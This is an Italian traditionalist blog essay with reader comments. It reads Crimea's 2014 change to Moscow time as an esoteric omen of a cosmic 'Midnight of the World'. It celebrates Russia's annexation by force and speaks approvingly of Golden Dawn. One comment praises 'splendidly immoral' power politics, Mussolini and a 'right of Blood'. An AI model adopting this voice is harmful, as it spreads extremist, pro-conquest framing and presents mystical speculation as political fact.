La Mezzanotte di Simferopoli, la Mezzanotte del Mondo

La Mezzanotte di Simferopoli, la Mezzanotte del Mondo

Rileggere gli eventi d’attualità in chiave simbolica è prassi frequente nell’ambiente variegato di coloro che si denominano, da destra, come resistenti allo status quo; eppure non mi pare che ancora ciò sia stato fatto in rapporto ai fatti di Crimea ed Ucraina che si stanno tragicamente evolvendo in una spirale sempre più simile a quella jugoslava. Chi scrive non intende ora occuparsi dei fatti di Crimea semplicemente esultando, il che sarebbe piuttosto semplice, quanto piuttosto fare una nota a piè di pagina di carattere simbolico ad un avvenimento ben preciso all’interno di quel contesto di crisi. Il 30 marzo 2014 era un giorno qualsiasi in Crimea, la penisola era già russa de facto, auto-liberatasi con truppe locali e successivamente occupata dall’Esercito Russo, il referendum era già stato vinto dai filorussi così come il rublo era già stato adottato come moneta ufficiale della penisola, ma quel giorno è accaduto qualcosa che, agli occhi occidentali ormai schiavi del razionalismo mercantile, è sfuggito. La prova che tale evento non è stato compreso in Occidente è il fatto che sia stato trasmesso, qualsiasi grumo di potere ben addentro a questioni simboliche avrebbe infatto accuratamente evitato di pubblicizzarlo. Si parla del cambio di fuso orario, avvenuto nella notte, col quale la Crimea ha adottato il fuso orario di Mosca. L’evento, insignificante per noi, è invece stato celebrato con grandi feste in tutta la Crimea e specialmente nella capitale Simferopoli dove l’orologio della stazione, osservato da tutta la popolazione, è stato osservato in religioso silenzio mentre passava dalle ore 22.00 (ora di Kiev) alle ore 00.00 (ora di Mosca). La scena ha qualcosa di ipnotico e profetico, per chi sa coglierla nel giusto senso, ed è notevole anche che la festa più grande in onore alla riunificazione con la Russia non sia stata una celebrazione militare o una manifestazione elettorale, ma proprio un evento di questo tipo. Molti simboli sono racchiusi in questo evento, a cominciare dall’evento stesso. Cosa significa cambiare fuso orario? Dal punto di vista biologico per i Crimeani non cambia nulla, se non il fatto che si sveglieranno, pranzeranno e si addormenteranno ad un’ora diversa, ma che in fondo rimane la stessa, dal momento che il Sole va per i fatti suoi. A cambiare sarà l’idea che i Crimeani avranno del tempo. L’orologio è una costruzione umana ed è solo un’arbitraria misurazione di ciò che la natura fa da sè, ma è comunque un’unità di misura che colloca l’uomo nel tempo, e dunque anche nello spazio. Ricordiamo che per i nostri avi Romani le horae corrispondevano ad una precisa processione di micro-ere che rappresentavano, in piccolo in dramma cosmico, ed in ognuna di queste ore il patrizio era tenuto ad una specifica osservanza di obblighi religiosi e civili, benchè all’epoca non fossero separati. Tale concezione di tempo si incontra in tutte le civiltà tradizionali, dall’India vedica alla Persia mazdea e, di riflesso, nell’Islam Ismailita.

L’uomo occidentale, abituato a vedere le ore come numeri astratti su di un display ha ormai dimenticato la loro valenza ciclica, cosa che invece, anche se in maniera criptica, il vecchio orologio con le lancette suggeriva. Ogni avanzamento, ora in ora, ci porta sempre verso il ritorno delle ore precedenti, avanziamo sempre verso un grande tramonto o una grande alba, dipende solamente dai punti di vista. Si può marciare verso un grande tramonto, come l’Occidente, o verso una grande alba – Alba Dorata, gliene si deve dare atto, ha scelto un nome tutt’altro che stupido – come un tempo prospettavano le civiltà tradizionali, permeate di un ottimismo cosmico che nulla a che vedere col culto dell’ottimismo futuribile instauratosi con Bacone e Adam Smith. Più si marcia verso Occidente e più le lancette si spostano all’indietro, più si avanza verso l’oriente detto appunto Levante più esse si spostano in avanti. I fatti di Crimea sono stati simboleggiati da uno spostamento in avanti, e questo è, a mio avviso, simbolicamente interessante. I lettori di questa testata sono certamente di caratura sufficientemente valida dal conoscere la processione delle ere di Esiodo e dei loro corrispettivi vedici e di cosa essi comportino. Certo possiamo vedere tutto molto pessimisticamente, affermando che ci stiamo sempre più inoltrando nelle tenebre della notte, ma ragioniamo così solamente se siamo assuefatti alla visione virtuale degli orologi digitali. Osservando un vecchio orologio come quello della stazione di Simferopoli invece la questione è chiara. La mezzanotte è il culmine, l’apice, la “Mezzanotte del Mondo”. E’ l’orario di disvelamento dei veli tra il nostro mondo e quello degli inferi, si aprono i mondi . I trapassati di Samonios si confondono tra le ombre notturne, i Lemuri visitano le dimore dei vivi, i demoni della notte di Valbiurga danzano nelle foreste della mitteleuropa. Tutto questo, sia ben inteso, a mezzanotte non finisce affatto, anzi comincia. Non dimentichiamo che per i Romani la mala hora, quella delle morti e degli incubi premonitori era quella che oscilla tra le 03.00 e le 04.00/04.30. Dopo comincia l’Alba. Ma dalla mezzanotte in avanti, per quanto si possa avanzare nelle tenebre e per quanti demoni e Lemuri possano scatenarsi sempre più in una grottesca “Notte su Monte Calvo”, avanziamo verso il sole e verso la pagina successiva di una drammaturgia cosmica già scritta ed a noi favorevole.

Nel Taşawworāt, trattato attribuito all’astronomo e filosofo persiano ismailita del XIII secolo Nasir-al Din-al Tusi, è teorizzato, in un’ottica totalmente tradizionale, come ogni ciclo temporale corrisponda anche ad un mondo. Nasir parla di ben diciottomila mondi che si succedono in cicli di svelamento e occultamento ma comunque in ottica progressiva, alla fine dei quali l’uomo sarà completamente libero dal suo Iblis interiore, che poi è il vero nemico. Ovviamente laddove Iblis non si intenda il Satana cristiano e nemmeno quello in senso classicamente sunnita, quanto piuttosto in un’entità connaturata all’Anima Mundi e che si occulta e si disvela in maniera inversamente proporzionale alle forze arcangeliche dell’Alba. Tornando ad aspetti a noi più vicini, scendendo nel dettaglio del cambio d’ora di Simferopoli continuiamo ad osservare in modo simbolico le lancette dell’orologio. Dalle 22.00 alle 00.00. E’ un passaggio epocale: il tempo accelera, passiamo dalla “preparazione alla mezzanotte” alla mezzanotte vera e propria, spostando il nostro baricentro ad oriente. L’Occidente, che non crede nè in demoni nè Lemuri, non si accorge che è mezzanotte. Pensa che siano ancora le 22 (l’ora di Kiev), tuttavia esso è tremendamente angosciato da un panico sordo e pervasivo che scorre come un fiume di lava sotto le sue macilente coltri di leggi, diritti e tecnologia. Non capisce la sua ansia, ma la sente. Tale ansia è l’arrivo della mezzanotte, è l’ansia di chi, pur non credendo ai fantasmi, è costretto a dormire in un cimitero. Se poi è il cimitero dei suoi avi, delle sue religioni, di sè stesso, l’ansia è ovviamente ancora più grande. E siccome l’Occidentale è traditore di sè stesso, a Lemuri e Larve si aggiungono pure le Erinni, ed il quadro è completo. Le lancette sono state spostate, con atto d’Imperio dalle 22 a mezzanotte e ora si aprono le danze. Rallegriamocene, Fukuyama si è sbagliato. Egli vedeva una storia ferma, che significa una storia terminata. I maitres à penser liberali, che accusano sempre i comunitaristi di voler tornare “a quell’epoca indistinta degli orologi fermi” ora si scoprono sacerdoti dello swatch scarico. Bisogna comprenderli. Chi, sentendo approssimarsi l’ora della fine, non vorrebbe fermare l’orologio? Tutto ciò è davvero troppo umano. Invece, quell’orologio, quello di Simferopoli, che come tutti gli orologi sembra fermo ma si muove, ha ricevuto una scossa. Il progredire del tempo è diventato visibile e come tale anche il cambiamento della storia. Siamo alla fine di uno dei diciottomila mondi di cui teorizza Nasir Tusi nel Taşawworāt? Difficile dirlo, poichè tali mondi sono in realtà cicli cosmici la cui durata forse non può nemmeno venire concepita dagli esseri umani, specialmente da quelli odierni. Se tuttavia, fedeli ad un ottica tradizionale (che anche Nasir condivideva) consideriamo ogni dramma terrestre come rappresentazione di un dramma celeste allora possiamo arguire che sì, siamo vicini ad un cambio di passo. Certo, un piccolo, insignificante cambio di passo nel siderale succedersi di età ed eoni, ma per noi, piccoli uomini può davvero essere un grande salto. E lo abbiamo scandito, inusualmente, non con un trattato militare o un boom in borsa, ma con l’avanzare delle lancette di un orologio. Come detto in precedenza, il sabba è appena cominciato, e sarà tutt’altro che rose e fiori, ma occorre affrontarlo con la determinazione, con la certezza di chi sa che il sole domani sorgerà un’altra volta. Cambio di passo, cambio di stile, anche nel vincere. Il Leviatano americano, quando trionfa, impone diritti (ossimoro deliziosamente occidentale), trattati economici e sovranità farsesche. La Russia ha annesso. Non scartoffie ma Terra e Città. In ottica schmittiana è il primo colpo, dopo anni di angherie subite, che Behemot infligge al Leviatano, il Nomos della Terra si prende la rivincita su quello del mare e della talassocrazia. Anche questo è un simbolo. La storia batte alle porte delle Europa, anzi, vi è già ri-entrata. Ritornano le annessioni vecchio stile, di cui Abkazia e Ossezia del Sud erano solo prove generali. Trattati contro Terre, centri di potere contro centri cittadini. Due concezioni del mondo che si scontrano. Riguardo agli scontri, ricordo anche che il momento in cui la guerra nucleare si scatena, è detto dagli scienziati e dagli strateghi militari, proprio “Mezzanotte”, ed anche questo è assai interessante ed illuminante. Siamo all’inizio del climax, ed il Leviatano si sta per distendere in tutto il suo soffocante orrore, Erinni, Larve e Lemuri invadono le nostre città e le nostre case. Ma il panico non ci colga, noi abbiamo visto, noi sappiamo. Che fortuna per noi poter contare sulla bussola dei simboli in questo mare tempestoso agitato sotto di noi dal Leviatano! Il dramma cosmico procede, basta alzare lo sguardo per vederlo, chiudere gli occhi e connettersi agli archetipi. Certo, connettersi agli archetipi non è semplice, è anzi difficilissimo in un mondo simile, ma corrono in nostro soccorso i simboli che, come libretti d’opera, ci dicono cosa gli Dei stanno cantando e recitando sul palcoscenico dei cosmi. Ora sappiamo. L’orologio di Simferopoli è poca cosa, una noticina a piè di pagina in questo grande libretto, che è assai criptico e che pochi sanno interpretare. Io non ne ho le chiavi, ma sono certo che esistano persone che tale libretto sanno leggerlo con maestria e facilità. Confido in essi affinchè ci rendano partecipi di altri signa, così da non smarrirci in questo Mare Oceano.

Nel frattempo torniamo ad occuparci del nostro quotidiano, della nostra formazione politica e spirituale, delle nostre lotte e delle nostre famiglie. Ma facciamolo con una consapevolezza. E’ mezzanotte.

Marco “Italicus” Malaguti

Bibliografia

Tempus Sacrum, introduzione alla pratica operativa del Calendario Romano-Italiano, L.M.A. Viola, ed. Victrix.

Tempo ciclico e Gnosi Ismailita, Henry Corbin, ed. Mimesis

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Categorie: Tradizione

Pubblicato da Ereticamente il 24 Dicembre 2014

Ereticamente

“La visione del mondo non si basa sui libri, ma su di una forma interiore e su una sensibilità, aventi carattere non acquisito, ma innato. Si tratta essenzialmente di una disposizione e di un atteggiamento, non già di teoria o di cultura, disposizioni che non concernono il solo dominio mentale ma investono anche quello del sentire e del volere, informano il carattere, si manifestano in reazioni aventi la stessa sicurezza dell’istinto, danno evidenza ad un lato significato dell’esistenza. (…) Se la nebbia si solleverà apparirà chiaro che è la visione del mondo ciò che, di là da ogni cultura, deve unire o dividere tracciando invalicabili frontiere dell’anima: che anche in un movimento politico essa costituisce l’elemento primario, perché solo una visione del mondo ha il potere di cristallizzare un dato tipo umano e quindi di dare un tono specifico ad una data Comunità.”

Commenti

  1. Accad

    la nuova impostazione non regge il confronto con la precedente che era molto più semplice e lineare.

  2. admin Staff

    Accad, non ti piace??

  3. Straordinario. Non celo una certa soddisfazione ad aver ripetuto, da mesi, alcuni dei concetti che l’Autore, coraggiosamente, sottolinea. La Storia non si è né compiuta né fermata, come certi scribacchini, in un accesso di maldgerito hegelismo, avevano strombazzato ai quattro venti dopo l’89. Sono tornate le annessioni e la Politica di Potenza alla Spengler, splendidamente immorale. La pretesa (nata in ambito anglosassone) di bandire per “diritto internazionale” le modificazioni territoriali nascenti dalla forza (come se nella Storia umana esse non siano derivate, nel 99% dei casi, da questa) subisce una dura replica. Già nei primi anni ’30 Mussolini ebbe a criticare la pretesa immodificabilità dei trattati di Versailles con una metafora molto pungente: “sarebbe come se l’Umanità, per opera di un qualche prodigio, venisse ad essere come mummificata”. Ma quel momento non è ancora venuto: il diritto del Sangue non è ancora stato cancellato da quello del Denaro.

  4. Annaperenna

    ” Il nomos della Terra contro quello del mare e della talassocrazia ”

    Duemila e duecento anni fa fu lo scontro di Roma contro Cartagine.
    Sappiamo tutti come è andato a finire.
    Che sia di buon auspicio anche per noi.

  5. Hjalmar

    Ho tremato mentre leggevo… ma non era paura.

    Saluti.

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